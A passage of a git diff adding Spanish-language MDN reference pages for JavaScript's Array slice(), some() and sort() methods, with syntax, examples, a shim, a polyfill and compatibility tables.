+<p><code><font face="Open Sans, Arial, sans-serif">El método </font><strong>slice()</strong></code> devuelve una copia de una parte del array dentro de un nuevo array empezando por <em>inicio </em>hasta <em>fin</em> (<em>fin </em>no incluido). El array original no se modificará.</p>
+
+<p>El código fuente de esta demostración interactiva está alojado en un repositorio Github. Si desea contribuir con ella, por favor clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> y envíenos un <em>"pull request"</em>.</p>
+
+<h2 id="Sintaxis">Sintaxis </h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.slice([<var>inicio </var>[, <var>fin</var>]])</code></pre>
+
+<h2 id="Parámetros">Parámetros</h2>
+
+<dl>
+ <dt><code>inicio</code></dt>
+ <dd>Índice donde empieza la extracción. El primer elemento corresponde con el índice  0.</dd>
+ <dd>Si el índice especificado es negativo, indica un desplazamiento desde el final del array.<code> slice(-2)</code>extrae los dos últimos elementos del array</dd>
+ <dd>Si <code>inicio</code> es omitido el valor por defecto es <code>0</code>.</dd>
+ <dd>Si <code>inicio</code> es mayor a la longitud del array, se devuelve un array vacío.</dd>
+ <dt><code>fin</code></dt>
+ <dd>Índice  que marca el final de la extracción. <code>slice</code> extrae hasta, pero sin incluir el final.</dd>
+ <dd><code>slice(1,4)</code> extrae desde el segundo elemento hasta el cuarto  (los elementos con índices 1, 2,  y 3).</dd>
+ <dd>Con un índice negativo, <code>fin</code> indica un desplazamiento desde el final de la secuencia. <code>slice(2,-1)</code> extrae desde el tercer hasta el penúltimo elemento en la secuencia.</dd>
+ <dd>Si <code>fin</code> es omitido, slice extrae hasta el final de la secuencia (<code>arr.length</code>)<code>.</code></dd>
+ <dd>Si <code>fin</code> es mayor a la longitud del array, <code>slice</code> extrae hasta el final de la secuencia (<code>arr.length</code>)<code>.</code></dd>
+</dl>
+
+<h3 id="Valor_de_retorno"><code>Valor de retorno</code></h3>
+
+<p>Un nuevo array con los valores extraídos.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p><code>slice</code> <strong>no modifica</strong> el array original. Devuelve una copia plana (<em>shallow copy</em>) de los elementos especificados del array original. Los elementos del array original son copiados en el array devuelto de la siguiente manera:</p>
+
+<ul>
+ <li>Para referencias de objeto ( <strong>no</strong> el objeto en sí ), <code>slice copia la referencia dentro del nuevo array</code>. Ambos, el array original y el nuevo, referencian al mismo objeto. Si un objeto referenciado cambia, los cambios son visibles para ambos arrays.</li>
+ <li>Para strings, numbers y boolean (<strong>no</strong> objetos {{jsxref("Global_Objects/String", "String")}} y {{jsxref("Global_Objects/Number", "Number")}}), <code>slice</code> copia los valores en el nuevo array. Los cambios a los string, numbers y boolean en un array no afectan a los del otro array.</li>
+</ul>
+
+<p>Si un nuevo elemento es agregado a cualquiera de los arrays, el otro array no es afectado.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Ejemplo_Devolver_una_porción_de_un_array_existente">Ejemplo: Devolver una porción de un array existente</h3>
+
+<pre class="brush: js">var nombres = ['Rita', 'Pedro', 'Miguel', 'Ana', 'Vanesa'];
+var masculinos = nombres.slice(1, 3);
+
+// masculinos contiene ['Pedro','Miguel']
+</pre>
+
+<h3 id="Ejemplo_Utilizando_slice">Ejemplo: Utilizando slice</h3>
+
+<p><span style="font-size: 14px; line-height: 1.5;">Presta especial atención a:</span></p>
+
+<ul>
+ <li>Valores de tipos básicos, como string o number, son copiados al nuevo array. Cambiar estos valores en la copia no afecta al array original.</li>
+ <li>Las referencias también se copian. Mismas referencias acceden al mismo objeto destino. Cambios en el objeto destino son compartidos por todos sus accesos.</li>
+</ul>
+
+<p>En el siguiente ejemplo, <code>slice</code> crea un nuevo array, <code>nuevoCoche</code>, de <code>myCoche</code>. Los dos incluyen una referncia al objecto <code>miHonda</code> se cambia a púrpura, ambas matrices reflejan el cambio.</p>
+
+<pre class="brush: js"><code>var miHonda = { color: 'red', ruedas: 4, motor: { cilindros: 4, cantidad: 2.2 } };
+var miCoche = [miHonda, 2, 'Buen estado', 'comprado 1997'];
+var nuevoCoche = miCoche.slice(0, 2);</code>
+
+//  Muestra los valores de myCar, newCar y el color de myHonda.<code>
+console.log('miCoche = ' + JSON.stringify(miCoche));
+console.log('nuevoCoche = ' + JSON.stringify(nuevoCoche));
+console.log('miCoche[0].color = ' + miCoche[0].color);
+console.log('nuevoCoche[0].color = ' + nuevoCoche[0].color);</code>
+
+// Cambia el color de miHonda.
+miHonda.color = 'azul';
+console.log('El nuevo color de mi Honda es ' + miHonda.color);
+
+// Muestra el color de myHonda referenciado desde ambos arrays. <code>
+console.log('miCoche[0].color = ' + miCoche[0].color);</code>
+
+console.log('nuevoCoche[0].color = ' + nuevoCoche[0].color);</pre>
+
+<p>Este script escribe:</p>
+
+<pre class="brush: js"><code>miCoche = [{color: 'rojo', ruedas: 4, motor: {cilindros: 4, cantidad: 2.2}}, 2,
+         'buen estado', 'comprado 1997']
+nuevoCoche = [{color: 'rojo', ruedas: 4, motor: {cilindros: 4, cantidad: 2.2}}, 2]
+miCoche[0].color = rojo
+nuevoCoche[0].color = rojo
+El nuevo color de miHonda es azul
+miCoche[0].color = azul
+nuevoCoche[0].color = azul</code></pre>
+
+<h2 id="Objetos_array-like">Objetos array-like</h2>
+
+<div class="note">
+<p>Se dice que un objeto es <strong>array-like</strong> ( similar o que se asemeja a un array) cuando entre sus propiedades existen algunas cuyos nombres son <strong>números</strong> y en particular tiene una propiedad llamada <strong>length</strong>. Este hecho  hace  suponer que el objeto es algún tipo de colección de elementos indexados por números. Es conveniente, a veces, convertir estos objetos a arrays para otorgarles la funcionalidad que de serie se incorpora en todos los arrays a través de su prototipo. </p>
+</div>
+
+<p>El método <code>slice</code> puede ser usado para convertir objetos parecidos a arrays o colecciones a un nuevo Array. Simplemente debe enlazar el método al objeto. El  {{jsxref("Functions_and_function_scope/arguments", "arguments")}} dentro de una función es un ejemplo de un objeto parecido a arrays.</p>
+
+<pre class="brush: js">function list() {
+  return Array.prototype.slice.call(arguments, 0);
+}
+
+var list1 = list(1, 2, 3); // [1, 2, 3]
+</pre>
+
+<p>El enlazado puede realizarse con la función <code>.call</code> de  {{jsxref("Function.prototype")}} y puede ser abreviado también usando  <code>[].slice.call(arguments)</code> en lugar de <code>Array.prototype.slice.call</code>. En cualquier caso, puede ser simplificado usando {{jsxref("Function.prototype.bind", "bind")}}.</p>
+
+<pre class="brush: js">var unboundSlice = Array.prototype.slice;
+var slice = Function.prototype.call.bind(unboundSlice);
+
+function list() {
+  return slice(arguments, 0);
+}
+
+var list1 = list(1, 2, 3); // [1, 2, 3]
+</pre>
+
+<h2 id="Coordinación_del_comportamiento_entre_navegadores">Coordinación del comportamiento entre navegadores</h2>
+
+<p> </p>
+
+<p>La especificación permite a los objetos del host  ( entre ellos los objetos del DOM )  ser dependientes de la implementación.  Esta <strong>NO</strong> obligatoriedad, origina diferencias en el comportamiento entre aquellos comprometidos con los estándares, como Mozilla, y los que no. En lo que concierne a  <code>Array.prototype.slice</code> , por lo tanto, existen importantes incompatibilidades en IE &lt; 9 . Versiones de IE a partir de la 9 permiten un comportamiento compatible más fiable.  Se puede recurrir al  “<em>shimming</em>”  para alcanzar la compatibilidad en otros casos.  Mientras otros navegadores modernos continúan mejorando para soportar esta habilidad, en la forma en que actualmente lo hacen Mozilla, Chrome, Safari, Opera  e IE, los desarrolladores de código preocupados por el soporte DOM que confíen en este <em>shim</em> no deben dejarse engañar por la semántica, deben confiar de forma segura en ella para proporcionar el comportamiento estándar que aparentemente ahora es la norma.</p>
+
+<p>El <em>shim</em> también soluciona que IE pueda tratar con el caso de que el segundo argumento de <code>slice()</code> pueda ser un valor {{jsxref("Global_Objects/null", "null")}}/{{jsxref("Global_Objects/undefined", "undefined")}} explícito. Esto era un problema en versiones anteriores de IE, pero todos los navegadores modernos, incluído IE &gt;= 9, lo hacen actualmente.</p>
+
+<pre class="brush: js">/**
+ * <em>Shim</em> para "solucionar" la falta de soporte de IE (IE &lt; 9) para aplicar slice
+ * sobre objetos del host, tal como NamedNodeMap, NodeList, y HTMLCollection
+ * (técnicamente, al ser los objetos del host dependientes de la implementación,
+ * al menos anteriormente a ES2015, IE no tenía la necesidad de trabajar de este modo).
+ * También funciona sobre strings, solucionando que IE &lt; 9 admita un undefined explícito
+ * como segundo argumento (igual que en Firefox), y previniendo errores cuando se llama
+ * sobre otros objetos del DOM.
+ */
+(function () {
+  'use strict';
+  var _slice = Array.prototype.slice;
+
+  try {
+    // Fallará al usarse con elementos DOM en IE &lt; 9
+    _slice.call(document.documentElement);
+  } catch (e) { // Fails in IE &lt; 9
+    // Funcionará con arrays genuinos, objetos array-like,
+    // NamedNodeMap (attributes, entities, notations),
+    // NodeList (e.g., getElementsByTagName), HTMLCollection (e.g., childNodes),
+    // and will not fail on other DOM objects (as do DOM elements in IE &lt; 9)
+    Array.prototype.slice = function(begin, end) {
+      // A IE &lt; 9 no le gustan los undefined como argumento end.
+      end = (typeof end !== 'undefined') ? end : this.length;
+
+      // Con objetos Array nativos, podemos usar la función slice
+      if (Object.prototype.toString.call(this) === '[object Array]'){
+        return _slice.call(this, begin, end);
+      }
+
+      // Con objetos array-like debemos manejarlo por nuestra cuenta.
+      var i, cloned = [],
+        size, len = this.length;
+
+      // Maneja valores negativos para el argumento "inicio"
+      var start = begin || 0;
+      start = (start &gt;= 0) ? start : Math.max(0, len + start);
+
+      // Maneja valores negativos para el argumento "fin"
+      var upTo = (typeof end == 'number') ? Math.min(end, len) : len;
+      if (end &lt; 0) {
+        upTo = len + end;
+      }
+
+      // Tamaño esperado para el slice
+      size = upTo - start;
+
+      if (size &gt; 0) {
+        cloned = new Array(size);
+        if (this.charAt) {
+          for (i = 0; i &lt; size; i++) {
+            cloned[i] = this.charAt(start + i);
+          }
+        } else {
+          for (i = 0; i &lt; size; i++) {
+            cloned[i] = this[start + i];
+          }
+        }
+      }
+
+      return cloned;
+    };
+  }
+}());
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Observaciones</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3ª edición</td>
+   <td>Estandar</td>
+   <td>Definición inicial Implementado en JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.10', 'Array.prototype.slice')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-array.prototype.slice', 'Array.prototype.slice')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>La tabla de compatibilidad en esta página esta generada desde datos estructurados. Si desea contribuir con los datos, por favor <em>"checkout" </em><a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data </a> y envíenos un <em>"pull request"</em>.</p>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatChrome("1.0")}}</td>
+   <td>{{CompatGeckoDesktop("1.7")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome para Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también </h2>
+
+<ul>
+ <li>{{jsxref("Function.prototype.call()")}}</li>
+ <li>{{jsxref("Function.prototype.bind()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/array/some/index.html b/files/es/web/javascript/referencia/objetos_globales/array/some/index.html
new file mode 100644
index 0000000000..d04b57b025
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/array/some/index.html
@@ -0,0 +1,204 @@
+---
+title: Array.prototype.some()
+slug: Web/JavaScript/Referencia/Objetos_globales/Array/some
+tags:
+  - Array
+  - ECMAScript5
+  - JavaScript
+  - Prototipo
+  - Referencia
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/some
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>some()</strong></code> comprueba si al menos un elemento del array cumple con la condición implementada por la función proporcionada.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Este método devuelve <code>false</code> para cualquier condición puesta en un array vacío.</p>
+</div>
+
+<div>{{EmbedInteractiveExample("pages/js/array-some.html")}}</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>arr</var>.some(<var>callback(element[, index[, array]])</var>[, <var>thisArg</var>])</pre>
+
+<h3 id="Parámetros" name="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>Función que verifica cada elemento, toma tres argumentos:
+ <dl>
+  <dt><code>element</code></dt>
+  <dd>El elemento actual siendo procesado en el array.</dd>
+  <dt><code>index</code> {{Optional_inline}}</dt>
+  <dd>El índice del elemento del array que se está procesando.</dd>
+  <dt><code>array</code> {{Optional_inline}}</dt>
+  <dd>El array sobre el que ha sido llamada la función <code>some()</code>.</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code> {{Optional_inline}}</dt>
+ <dd>Valor a usar como <code>this</code> cuando se ejecute <code>callback</code>.</dd>
+</dl>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p><code><strong>true</strong></code> si la función <code>callback</code> devuelve un valor {{Glossary("truthy")}} para cualquier elemento del array; en caso contrario, <code><strong>false</strong></code>.</p>
+
+<h2 id="Descripción" name="Descripción">Descripción</h2>
+
+<p><code>some()</code> ejecuta la función <code>callback</code> una vez por cada elemento presente en el array hasta que encuentre uno donde <code>callback</code> retorna un valor verdadero (true). Si se encuentra dicho elemento, <code>some()</code> retorna <code>true</code> inmediatamente. Si no, <code>some()</code> retorna <code>false</code>. <code>callback</code> es invocada sólo para los índices del array que tienen valores asignados; no es invocada para índices que han sido borrados o a los que nunca se les han asignado valores.</p>
+
+<p><code>callback</code> es invocada con tres argumentos: el valor del elemento, el índice del elemento, y el objeto array sobre el que se itera.</p>
+
+<p>Si se indica un parámetro <code>thisArg</code> a <code>some()</code>, se pasará a <code>callback</code> cuando es invocada, para usar como valor <code>this</code>. Si no, el valor {{jsxref("undefined")}} será pasado para usar como valor <code>this</code>. El valor <code>this</code> value observable por <code>callback</code> se determina de acuerdo a <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">las reglas habituales para determinar el <code>this</code> visible por una función</a>.</p>
+
+<p><code>some()</code> no modifica el array con el cual fue llamada.</p>
+
+<p>El rango de elementos procesados por <code>some()</code> es configurado antes de la primera invocación de <code>callback</code>. Los elementos anexados al array luego de que comience la llamada a <code>some()</code> no serán visitados por <code>callback</code>. Si un elemento existente y no visitado del array es alterado por <code>callback</code>, su valor pasado al <code>callback</code> será el valor al momento que <code>some()</code> visita el índice del elemento; los elementos borrados no son visitados.</p>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<h3 id="Example:_Testing_size_of_all_array_elements" name="Example:_Testing_size_of_all_array_elements">Verificando el valor de los elementos de un array</h3>
+
+<p>El siguiente ejemplo verifica si algún elemento del array es mayor a 10.</p>
+
+<pre class="brush: js">function isBiggerThan10(element, index, array) {
+  return element &gt; 10;
+}
+[2, 5, 8, 1, 4].some(isBiggerThan10);  // false
+[12, 5, 8, 1, 4].some(isBiggerThan10); // true
+</pre>
+
+<h3 id="Example:_Testing_array_elements_using_arrow_functions" name="Example:_Testing_array_elements_using_arrow_functions">Verificando los elementos de un array usando funciones flecha</h3>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">Las funciones flecha (Arrow functions)</a> brindan una sintáxis más corta para el mismo test.</p>
+
+<pre class="brush: js">[2, 5, 8, 1, 4].some(elem =&gt; elem &gt; 10);  // false
+[12, 5, 8, 1, 4].some(elem =&gt; elem &gt; 10); // true
+</pre>
+
+<h3 id="Comprobando_si_un_elemento_existe_en_un_array">Comprobando si un elemento existe en un array</h3>
+
+<p>Para imitar la función del método <code>includes()</code>, esta función personalizada devuelve <code>true</code> si el elemento existe en el array:</p>
+
+<pre class="brush: js">var fruits = ['apple', 'banana', 'mango', 'guava'];
+
+function checkAvailability(arr, val) {
+  return arr.some(function(arrVal) {
+    return val === arrVal;
+  });
+}
+
+checkAvailability(fruits, 'kela');   // false
+checkAvailability(fruits, 'banana'); // true</pre>
+
+<h3 id="Comprobando_si_un_elemento_existe_en_un_array_con_funciones_flecha">Comprobando si un elemento existe en un array con funciones flecha</h3>
+
+<pre class="brush: js">var fruits = ['apple', 'banana', 'mango', 'guava'];
+
+function checkAvailability(arr, val) {
+  return arr.some(arrVal =&gt; val === arrVal);
+}
+
+checkAvailability(fruits, 'kela');   // false
+checkAvailability(fruits, 'banana'); // true</pre>
+
+<h3 id="Convirtiendo_cualquier_valor_a_Boolean">Convirtiendo cualquier valor a Boolean</h3>
+
+<pre class="brush: js">var TRUTHY_VALUES = [true, 'true', 1];
+
+function getBoolean(value) {
+  'use strict';
+
+  if (typeof value === 'string') {
+    value = value.toLowerCase().trim();
+  }
+
+  return TRUTHY_VALUES.some(function(t) {
+    return t === value;
+  });
+}
+
+getBoolean(false);   // false
+getBoolean('false'); // false
+getBoolean(1);       // true
+getBoolean('true');  // true</pre>
+
+<h2 id="Polyfill" name="Polyfill">Polyfill</h2>
+
+<p><code>some()</code> fue agregado al estándar ECMA-262 en la 5ta edición; por ello, puede no estar presente en todas las implementaciones del estándar. Puedes trabajar sobre esto insertando el siguiente código al comienzo de tus scripts, permitiendo el uso de <code>some()</code> en implementaciones que no tienen soporte nativo. Este algoritmo es exactamente el mismo especificado en ECMA-262, 5ta edición, asumiendo que {{jsxref("Global_Objects/Object", "Object")}} y {{jsxref("Global_Objects/TypeError", "TypeError")}} tienen sus valores originales y que <code>fun.call</code> evalúa el valor original de{{jsxref("Function.prototype.call()")}}.</p>
+
+<pre class="brush: js">// Pasos de producción de ECMA-262, Edición 5, 15.4.4.17
+// Referencia: http://es5.github.io/#x15.4.4.17
+if (!Array.prototype.some) {
+  Array.prototype.some = function(fun/*, thisArg*/) {
+    'use strict';
+
+    if (this == null) {
+      throw new TypeError('Array.prototype.some called on null or undefined');
+    }
+
+    if (typeof fun !== 'function') {
+      throw new TypeError();
+    }
+
+    var t = Object(this);
+    var len = t.length &gt;&gt;&gt; 0;
+
+    var thisArg = arguments.length &gt;= 2 ? arguments[1] : void 0;
+    for (var i = 0; i &lt; len; i++) {
+      if (i in t &amp;&amp; fun.call(thisArg, t[i], i, t)) {
+        return true;
+      }
+    }
+
+    return false;
+  };
+}
+</pre>
+
+<h2 id="Especificaciones" name="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.17', 'Array.prototype.some')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Definición inicial. Implementado en JavaScript 1.6.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.some', 'Array.prototype.some')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.some', 'Array.prototype.some')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores" name="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.some")}}</p>
+</div>
+
+<h2 id="Ver_también" name="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Array.prototype.every()")}}</li>
+ <li>{{jsxref("Array.prototype.find()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.some()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/array/sort/index.html b/files/es/web/javascript/referencia/objetos_globales/array/sort/index.html
new file mode 100644
index 0000000000..ac28826327
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/array/sort/index.html
@@ -0,0 +1,301 @@
+---
+title: Array.prototype.sort()
+slug: Web/JavaScript/Referencia/Objetos_globales/Array/sort
+tags:
+  - Array
+  - JavaScript
+  - Método(2)
+  - Prototipo
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/sort
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>sort()</strong></code> ordena los elementos de un arreglo (array) <em>localmente</em> y devuelve el arreglo ordenado. La ordenación no es necesariamente <a href="https://en.wikipedia.org/wiki/Sorting_algorithm#Stability">estable</a>. El modo de ordenación por defecto responde a la posición del valor del string de acuerdo a su valor <a href="https://es.wikipedia.org/wiki/Unicode">Unicode</a>.</p>
+
+<p id="tw-target-text">La fuente de este ejemplo interactivo se almacena en un repositorio de GitHub. Si desea contribuir al proyecto de ejemplos interactivos, clone https://github.com/mdn/interactive-examples y envíenos una solicitud de extracción (pull request).</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate"><code><var>arr</var>.sort([<var>compareFunction</var>])</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>compareFunction</code></dt>
+ <dd>Opcional. Especifica una función que define el modo de ordenamiento. Si se omite, el array es ordenado atendiendo a la posición del valor <a href="/en-US/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Unicode">Unicode</a> de cada caracter, según la conversión a string de cada elemento.</dd>
+ <dt><code>firstEl</code></dt>
+ <dd>El primer elemento a comparar.</dd>
+ <dt><code>secondEl</code></dt>
+ <dd>El segundo elemento a comparar.</dd>
+</dl>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>El array ordenado.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Si no se provee <code>compareFunction</code>, los elementos son ordenados convirtiéndolos a strings y comparando la posición del valor Unicode de dichos strings. Por ejemplo, "Cherry" viene antes que "banana"  (porque las mayúsculas van antes que las minúsculas en la codificación Unicode) . En un ordenamiento numérico, 9 está antes que 80, pero dado que los números son convertidos a strings y ordenados según el valor Unicode, el resultado será "80" antes que "9".</p>
+
+<pre class="brush: js notranslate">var frutas = ['guindas', 'manzanas', 'bananas'];
+frutas.sort(); // ['bananas', 'guindas', 'manzanas']
+
+var puntos = [1, 10, 2, 21];
+puntos.sort(); // [1, 10, 2, 21]
+// Tenga en cuenta que 10 viene antes que 2
+// porque '10' viene antes que '2' según la posición del valor Unicode.
+
+var cosas = ['word', 'Word', '1 Word', '2 Words'];
+cosas.sort(); // ['1 Word', '2 Words', 'Word', 'word']
+// En Unicode, los números vienen antes que las letras mayúsculas
+// y estas vienen antes que las letras minúsculas.
+</pre>
+
+<p>Si se provee <code>compareFunction</code>, los elementos del array son ordenados de acuerdo al valor que retorna dicha función de comparación. Siendo <code>a</code> y <code>b</code> dos elementos comparados, entonces:</p>
+
+<ul>
+ <li>Si <code>compareFunction(a, b)</code> es menor que 0, se sitúa <code>a</code> en un indice menor que <code>b</code>. Es decir, <code>a</code> viene primero.</li>
+ <li>Si <code>compareFunction(a, b)</code> retorna 0, se deja <code>a</code> y <code>b</code> sin cambios entre ellos, pero ordenados con respecto a todos los elementos diferentes. Nota: el estandar ECMAscript no garantiza este comportamiento, por esto no todos los navegadores (p.ej.  Mozilla en versiones que datan hasta el 2003) respetan esto.</li>
+ <li>Si <code>compareFunction(a, b)</code> es mayor que 0, se sitúa <code>b</code> en un indice menor que <code>a</code>.</li>
+ <li><code>compareFunction(a, b)</code> siempre debe retornar el mismo valor dado un par especifico de elementos a y b como sus argumentos. Si se retornan resultados inconsistentes entonces el orden de ordenamiento es indefinido.</li>
+</ul>
+
+<p>Entonces, la función de comparación tiene la siguiente forma:</p>
+
+<pre class="brush: js notranslate">function compare(a, b) {
+  if (a es menor que b según criterio de ordenamiento) {
+    return -1;
+  }
+  if (a es mayor que b según criterio de ordenamiento) {
+    return 1;
+  }
+  // a debe ser igual b
+  return 0;
+}
+</pre>
+
+<p>Para comparar números en lugar de strings, la función de comparación puede simplemente restar <code>b</code> de <code>a</code>. La siguiente función ordena el array de modo ascendente:</p>
+
+<pre class="brush: js notranslate">function compareNumbers(a, b) {
+  return a - b;
+}
+</pre>
+
+<p>El metodo <code>sort</code> puede ser usado convenientemente con {{jsxref("Operators/function", "function expressions", "", 1)}} (y <a href="/en-US/docs/Web/JavaScript/Guide/Closures">closures</a>):</p>
+
+<pre class="brush: js notranslate">var numbers = [4, 2, 5, 1, 3];
+numbers.sort(function(a, b) {
+  return a - b;
+});
+console.log(numbers);
+
+</pre>
+
+<pre class="notranslate"><code>// [1, 2, 3, 4, 5]</code></pre>
+
+<p>Los objectos pueden ser ordenados por el valor de una de sus propiedades.</p>
+
+<pre class="brush: js notranslate">var items = [
+  { name: 'Edward', value: 21 },
+  { name: 'Sharpe', value: 37 },
+  { name: 'And', value: 45 },
+  { name: 'The', value: -12 },
+  { name: 'Magnetic', value: 13 },
+  { name: 'Zeros', value: 37 }
+];
+items.sort(function (a, b) {
+  if (a.name &gt; b.name) {
+    return 1;
+  }
+  if (a.name &lt; b.name) {
+    return -1;
+  }
+  // a must be equal to b
+  return 0;
+});
+</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Creating.2C_displaying.2C_and_sorting_an_array" name="Creating.2C_displaying.2C_and_sorting_an_array">Ordenando un array</h3>
+
+<p>Un array de elementos string, sin especificar una función de comparación:</p>
+
+<pre class="brush: js notranslate">var arr = [ 'a', 'b', 'Z', 'Aa', 'AA' ];
+arr.sort();  //[ 'AA', 'Aa', 'Z', 'a', 'b' ]
+</pre>
+
+<p>Un array de elementos numéricos,  sin función de comparación:</p>
+
+<pre class="brush: js notranslate">var arr = [ 40, 1, 5, 200 ];
+arr.sort();  //[ 1, 200, 40, 5 ]
+</pre>
+
+<p>Un array de elementos numéricos, usando una función de comparación:</p>
+
+<pre class="brush: js notranslate">var arr = [ 40, 1, 5, 200 ];
+function comparar ( a, b ){ return a - b; }
+arr.sort( comparar );  // [ 1, 5, 40, 200 ]</pre>
+
+<p>Lo mismo pero usando una función anónima normal:</p>
+
+<pre class="brush: js notranslate">var arr = [ 40, 1, 5, 200 ];
+arr.sort(function(a,b){return a - b;});  // [ 1, 5, 40, 200 ]</pre>
+
+<p>Lo mismo escrito más compacto mediante una <a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Referencia/Funciones/Arrow_functions">función flecha</a>:</p>
+
+<pre class="brush: js notranslate">var arr = [ 40, 1, 5, 200 ];
+arr.sort((a,b)=&gt;a-b);  // [ 1, 5, 40, 200 ]</pre>
+
+<h3 id="Creating.2C_displaying.2C_and_sorting_an_array" name="Creating.2C_displaying.2C_and_sorting_an_array"></h3>
+
+<h3 id="Creating.2C_displaying.2C_and_sorting_an_array" name="Creating.2C_displaying.2C_and_sorting_an_array">Creando, mostrando, y ordenando un array</h3>
+
+<p>El siguiente ejemplo abunda en la idea de ordenar con y sin función de comparación. Además, ilustra una manera de mostrar un array una vez creado. El método <a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/join">join</a> es usado para convertir el array en una cadena de texto que imprimir. Al no pasarle un argumento que indique el separador, usará la coma por defecto para separar los elementos del array dentro de la cadena.</p>
+
+<pre class="brush: js notranslate">var arr = ['80', '9', '700', 40, 1, 5, 200];
+function comparar(a, b) {
+  return a - b;
+}
+console.log('original:', arr.join());
+console.log('ordenado sin función:', arr.sort());
+console.log('ordenado con función:', arr.sort(comparar));
+</pre>
+
+<p>El ejemplo produce el siguiente resultado. Como muestra la salida, cuando una función de comparación es usada, los números se ordenan correctamente, sean estos valores numéricos o strings numéricos.</p>
+
+<pre class="notranslate">original: 80,9,700,40,1,5,200
+ordenado sin función: 1,200,40,5,700,80,9
+ordenado con función: 1,5,9,40,80,200,700
+</pre>
+
+<h3 id="Ordenando_caracteres_no_ASCII">Ordenando caracteres no ASCII</h3>
+
+<p>Para ordenar strings con characters no ASCII, i.e. strings con caracteres con acento (e, é, è, a, ä, etc.), strings de lenguajes diferentes al inglés: use {{jsxref("String.localeCompare")}}. Esta función puede comparar esos caracteres para que aparezcan en el orden correcto.</p>
+
+<pre class="brush: js notranslate">var items = ['réservé', 'premier', 'cliché', 'communiqué', 'café', 'adieu'];
+items.sort(function (a, b) {
+  return a.localeCompare(b);
+});
+
